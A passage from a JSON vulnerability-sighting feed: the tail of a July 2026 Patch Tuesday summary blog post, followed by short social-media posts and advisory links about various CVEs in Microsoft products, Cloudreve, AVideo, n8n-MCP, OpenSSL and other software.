Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:04:26.464017Z"}, {"uuid": "32b2bfb1-5dda-48d1-a046-21982773d7e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54758", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mqnoeb25ov2m", "content": "Notepad++ vulnerabilities now have public PoC exploit code. CVE-2026-52886, CVE-2026-54758, and CVE-2026-57233 are fixed in v8.9.7. Update now.\n\n#NotepadPlusPlus #PathTraversal #ZipSlip #CVE #InfoSec", "creation_timestamp": "2026-07-15T02:28:34.349282Z"}, {"uuid": "5aef48d2-9250-42e9-bb3d-80e4876deb33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54527", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mqnvcdm2qd2u", "content": "Top 3 CVE for last 7 days:\nCVE-2026-43499: 26 interactions\nCVE-2026-20262: 14 interactions\nCVE-2026-44747: 14 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-44747: 14 interactions\nCVE-2026-47295: 6 interactions\nCVE-2026-54527: 6 interactions\n", "creation_timestamp": "2026-07-15T04:32:45.656082Z"}, {"uuid": "a168387f-c6fa-4cf3-9ea4-a37c1a553447", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://t.me/thehackernews/9250", "content": "\ud83d\udea8 A shared hosting flaw just landed on CISA\u2019s exploited list.\n\nCVE-2026-54420 affects the LiteSpeed cPanel Plugin and can let a user with FTP or web shell access gain root on CloudLinux/CageFS servers.\n\nFederal agencies must patch by June 18, 2026.\n\nRead: https://thehackernews.com/2026/06/cisa-flags-litespeed-cpanel-plugin-flaw.html", "creation_timestamp": "2026-07-15T12:00:04.979954Z"}, {"uuid": "97fe2624-2050-4cad-a951-671c1bee8747", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54058", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqoxacvh3y2j", "content": "CVE-2026-54058 - pillow\nA security issue was found in older versions of Pillow, a Python library for image processing. If an attacker controls the image file, they could potentially read sensitive\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#pillow #debian #Debian11 #CVE #infosec", "creation_timestamp": "2026-07-15T14:40:04.902006Z"}, {"uuid": "a5c40f05-204c-47df-a0fb-c71ed7a0a2be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54560", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqp5yw2ad72s", "content": "CVE-2026-54560 - Cloudreve: OAuth access tokens bypass scope enforcement due to missing client_id claim\nCVE ID : CVE-2026-54560\n \n Published : July 15, 2026, 2:40 p.m. | 37\u00a0minutes ago\n \n Description : Cloudreve is a self-hosted file management and sharing system. From 4.12.0 ...", "creation_timestamp": "2026-07-15T16:41:12.865413Z"}, {"uuid": "04ba5586-1792-4206-b296-b254b183198d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54562", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqp6ah3co52i", "content": "CVE-2026-54562 - Cloudreve: Non-admin remote download users can SSRF loopback/internal services and read imported responses\nCVE ID : CVE-2026-54562\n \n Published : July 15, 2026, 2:37 p.m. | 40\u00a0minutes ago\n \n Description : Cloudreve is a self-hosted file management and sharing ...", "creation_timestamp": "2026-07-15T16:45:25.631593Z"}, {"uuid": "e91d9b66-0d5d-4047-b5ab-6745b9893c81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54563", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqp7zq7njw22", "content": "CVE-2026-54563 - Cloudreve: Path Traversal / Broken Access Control in Cloudreve WebDAV (`/dav`) \u2014 scoped DAV credential escapes its configured account root\nCVE ID : CVE-2026-54563\n \n Published : July 15, 2026, 2:38 p.m. | 38\u00a0minutes ago\n \n Description : Cloudreve is a self-hos...", "creation_timestamp": "2026-07-15T17:17:27.605477Z"}, {"uuid": "8ee412bf-ec45-4136-a9fd-77127e925b2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54451", "type": "published-proof-of-concept", "source": "https://github.com/elixir-protobuf/protobuf/security/advisories/GHSA-rv48-qqj5-crxg", "content": "", "creation_timestamp": "2026-07-15T18:35:03.285517Z"}, {"uuid": "a500ea19-5557-4bae-b5bd-d11c757fb933", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54449", "type": "published-proof-of-concept", "source": "https://github.com/langbot-app/LangBot/security/advisories/GHSA-3pvh-63gf-j9mw", "content": "", "creation_timestamp": "2026-07-15T18:35:05.445158Z"}, {"uuid": "5ecfae2c-c21d-4ca4-9cdd-d3b7fa7f9865", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54493", "type": "published-proof-of-concept", "source": "https://github.com/koel/koel/security/advisories/GHSA-6p96-cfg5-4vhp", "content": "", "creation_timestamp": "2026-07-15T18:35:07.646613Z"}, {"uuid": "d6535f85-e738-40ef-9b36-b464d92efe2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54492", "type": "published-proof-of-concept", "source": "https://github.com/koel/koel/security/advisories/GHSA-w79m-f3jx-779v", "content": "", "creation_timestamp": "2026-07-15T18:35:09.823006Z"}, {"uuid": "ae185a0d-4f14-417c-a9d7-629c0c39e753", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54491", "type": "published-proof-of-concept", "source": "https://github.com/koel/koel/security/advisories/GHSA-6qvr-wjmv-v8mm", "content": "", "creation_timestamp": "2026-07-15T18:35:12.000316Z"}, {"uuid": "9d32155c-fc73-4c79-a315-3b4e7e9bf675", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54494", "type": "published-proof-of-concept", "source": "https://github.com/koel/koel/security/advisories/GHSA-rjg7-r26h-cfp2", "content": "", "creation_timestamp": "2026-07-15T20:35:03.292124Z"}, {"uuid": "76c8f240-2311-4c4e-bd66-9c713e98e120", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54443", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqplwy7au72x", "content": "CVE-2026-54443 - Dashy: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)\nCVE ID : CVE-2026-54443\n \n Published : July 15, 2026, 7:17 p.m. | 16\u00a0minutes ago\n \n Description : Dashy is a self-hostable personal dashboard. From 1.9.4 until 3.2.0, the Dash...", "creation_timestamp": "2026-07-15T20:50:40.173006Z"}, {"uuid": "d8c1412a-97b8-4386-b0ea-e1da91168c5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54052", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqppubmqtj2w", "content": "\ud83d\udd34 CVE-2026-54052 - Critical (9.9)\n\nn8n-MCP is an MCP server that provides AI assistants access to n8n node documentation, properties...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54052/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-15T22:00:44.757823Z"}, {"uuid": "452d3b45-2d89-4193-861a-74ba5bc2c092", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54458", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqpq2bpz642l", "content": "CVE-2026-54458 - wwbn/avideo\nThe AVideo YPTSocket plugin has a security flaw that allows an attacker to inject malicious code into the website's content, potentially affecting administrators viewing the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#wwbn #PHP #CVE #infosec", "creation_timestamp": "2026-07-15T22:04:05.762137Z"}, {"uuid": "65be80e5-e454-4d8b-9036-0a8c66639bb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54450", "type": "published-proof-of-concept", "source": "https://github.com/stacklok/toolhive/security/advisories/GHSA-pph6-vfjv-vpjw", "content": "", "creation_timestamp": "2026-07-15T22:35:03.283135Z"}, {"uuid": "ccfcb0a0-6734-40db-aed5-8eed1e1dfe4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54458", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqpta3kei225", "content": "\ud83d\udd34 CVE-2026-54458 - Critical (9.6)\n\nWWBN AVideo is an open source video platform. Versions prior to 29.0 contain a stored DOM Cross-S...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54458/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-15T23:01:02.355479Z"}, {"uuid": "5d51fc20-7618-4894-8807-824ced8458da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "published-proof-of-concept", "source": "https://t.me/thehackernews/9250", "content": "\ud83d\udea8 A shared hosting flaw just landed on CISA\u2019s exploited list.\n\nCVE-2026-54420 affects the LiteSpeed cPanel Plugin and can let a user with FTP or web shell access gain root on CloudLinux/CageFS servers.\n\nFederal agencies must patch by June 18, 2026.\n\nRead: https://thehackernews.com/2026/06/cisa-flags-litespeed-cpanel-plugin-flaw.html", "creation_timestamp": "2026-07-16T00:00:10.031321Z"}, {"uuid": "0bf62c9d-31ee-42a2-aeda-c3a03f9a4aae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54874", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mtydtvyhrf2r", "content": "\ud83d\udd17 CVE : CVE-2026-14457, CVE-2026-18798, CVE-2026-54874, CVE-2026-63072, CVE-2026-63073, CVE-2026-63074, CVE-2026-63075, CVE-2026-63076, CVE-2026-75803", "creation_timestamp": "2026-08-26T12:35:19.809489Z"}, {"uuid": "29aeb0f8-d0bb-459d-b4cd-06f7e18b5b00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54458", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116926712479422983", "content": "CVE-2026-54458 (CRITICAL, CVSS 9.6): WWBN AVideo (<29.0) suffers stored DOM XSS in YPTSocket plugin. Unauthenticated attackers can hijack admin sessions. Patch now \u2014 upgrade to v29.0. https://radar.offseq.com/threat/cve-2026-54458-cwe-79-improper-neutralization-of-i-57743e6d03256988 #OffSeq #XSS #WWBNA Video #infosec", "creation_timestamp": "2026-07-16T00:00:43.633185Z"}, {"uuid": "f57c96d1-7a6e-4c7b-beb6-d75677c92d2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54458", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mqpwktbn4u2k", "content": "WWBN AVideo <29.0 hit by CRITICAL XSS (CVE-2026-54458). Unauthenticated attackers can hijack admin sessions via YPTSocket plugin. Upgrade to v29.0 ASAP. \ud83d\udd12 https://radar.offseq.com/threat/cve-2026-54458-cwe-79-improper-neutralization-of-i-57743e6d03256988 #OffSeq #XSS #AppSec", "creation_timestamp": "2026-07-16T00:00:44.539848Z"}, {"uuid": "05797d61-c6c3-47da-95ae-01effad1df92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54466", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqpwxxsieh2w", "content": "CVE-2026-54466 - websocket-driver\nA weakness in the WebSocket protocol used by websocket-driver can cause data corruption if an attacker sends a large number of specially crafted messages. This can\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#websocketdriver #npm #CVE #infosec", "creation_timestamp": "2026-07-16T00:08:04.442518Z"}, {"uuid": "6d526613-d392-4707-b14c-255c77ea1161", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54052", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqpyhctsqt2x", "content": "CVE-2026-54052 - n8n-MCP: Cross-tenant access to workflow version backups in multi-tenant HTTP deployments\nCVE ID : CVE-2026-54052\n \n Published : July 15, 2026, 9:16 p.m. | 1\u00a0hour, 17\u00a0minutes ago\n \n Description : n8n-MCP is an MCP server that provides AI assistants access to n...", "creation_timestamp": "2026-07-16T00:34:33.321935Z"}, {"uuid": "dc463fb9-1527-4bcd-be60-b4b58cc5cfae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54504", "type": "published-proof-of-concept", "source": "https://github.com/andrea9293/mcp-documentation-server/security/advisories/GHSA-6f5r-5672-72j7", "content": "", "creation_timestamp": "2026-07-16T00:35:05.504905Z"}, {"uuid": "8a470ad5-9321-4f95-a499-9204c05472a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54497", "type": "published-proof-of-concept", "source": "https://github.com/ViewComponent/view_component/security/advisories/GHSA-9h85-g7w3-rh49", "content": "", "creation_timestamp": "2026-07-16T00:35:13.332883Z"}, {"uuid": "c836bfa9-0088-4255-8fe7-4c5ec5526f05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54498", "type": "published-proof-of-concept", "source": "https://github.com/ViewComponent/view_component/security/advisories/GHSA-97jw-64cj-jc58", "content": "", "creation_timestamp": "2026-07-16T00:35:15.494153Z"}, {"uuid": "6c046487-4782-4aeb-ab2c-576ece65e858", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54458", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqpzsv2mre2s", "content": "CVE-2026-54458 - AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin\nCVE ID : CVE-2026-54458\n \n Published : July 15, 2026, 10:17 p.m. | 17\u00a0minutes ago\n \n Description : WWBN AVideo is an open source video platform. Versi...", "creation_timestamp": "2026-07-16T00:58:55.212411Z"}, {"uuid": "d6b175d6-462e-49ba-b17d-194c1daf5c37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54874", "type": "seen", "source": "https://bsky.app/profile/derdreschi84.bsky.social/post/3mtwaelgpws23", "content": "OpenSSL 4.0.2 Released with Important Security and Bug Fixes\n\nPatches CVE-2026-18798, CVE-2026-63072, CVE-2026-63076, CVE-2026-14456, CVE-2026-14457, CVE-2026-54874, and CVE-2026-54876.\n#Linux", "creation_timestamp": "2026-08-25T16:27:45.547741Z"}, {"uuid": "1834d51b-f5b2-4ac9-9b18-33eb2a724626", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54876", "type": "seen", "source": "https://bsky.app/profile/derdreschi84.bsky.social/post/3mtwaelgpws23", "content": "OpenSSL 4.0.2 Released with Important Security and Bug Fixes\n\nPatches CVE-2026-18798, CVE-2026-63072, CVE-2026-63076, CVE-2026-14456, CVE-2026-14457, CVE-2026-54874, and CVE-2026-54876.\n#Linux", "creation_timestamp": "2026-08-25T16:27:45.589262Z"}, {"uuid": "431d7c87-bf59-4795-a058-2c5ae747e2bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54052", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116927773174475079", "content": "CVE-2026-54052: CRITICAL auth bypass in czlonkowski n8n-mcp <2.56.1. Multi-tenant HTTP mode allows tenants to access/delete others\u2019 sensitive workflow backups. Patch to 2.56.1 ASAP. https://radar.offseq.com/threat/cve-2026-54052-cwe-639-authorization-bypass-throug-04ca76ef25ff4df2 #OffSeq #CVE #infosec #vuln", "creation_timestamp": "2026-07-16T04:30:27.210870Z"}, {"uuid": "fab9123b-8398-4f9f-95c7-83b16174f7fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54052", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mqqfn6iw5w2z", "content": "CRITICAL: czlonkowski n8n-mcp <2.56.1 lets tenants access & delete other tenants' workflow backups in multi-tenant HTTP mode. Upgrade to 2.56.1+ to secure sensitive data. https://radar.offseq.com/threat/cve-2026-54052-cwe-639-authorization-bypass-throug-04ca76ef25ff4df2 #OffSeq #CVE", "creation_timestamp": "2026-07-16T04:30:29.334274Z"}, {"uuid": "424e54ab-91f8-492c-888e-86af4a8bdd60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54527", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqqofao77726", "content": "\ud83d\udccc CVE-2026-54527 - JupyterLab Git is a Git extension for JupyterLab. From 0.30.0b3 before 0.54.0, the PlainTextDiff.ts createHeader() method passes Git filenames directl... https://www.cyberhub.blog/cves/CVE-2026-54527", "creation_timestamp": "2026-07-16T07:07:06.949705Z"}, {"uuid": "3cd2f569-5ed3-4e13-8a97-60b838e19550", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54917", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-54917.yaml", "content": "", "creation_timestamp": "2026-08-24T15:00:10.494869Z"}, {"uuid": "161c8426-7b3a-47c2-9e04-6728d1eb85e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54992", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/93666", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 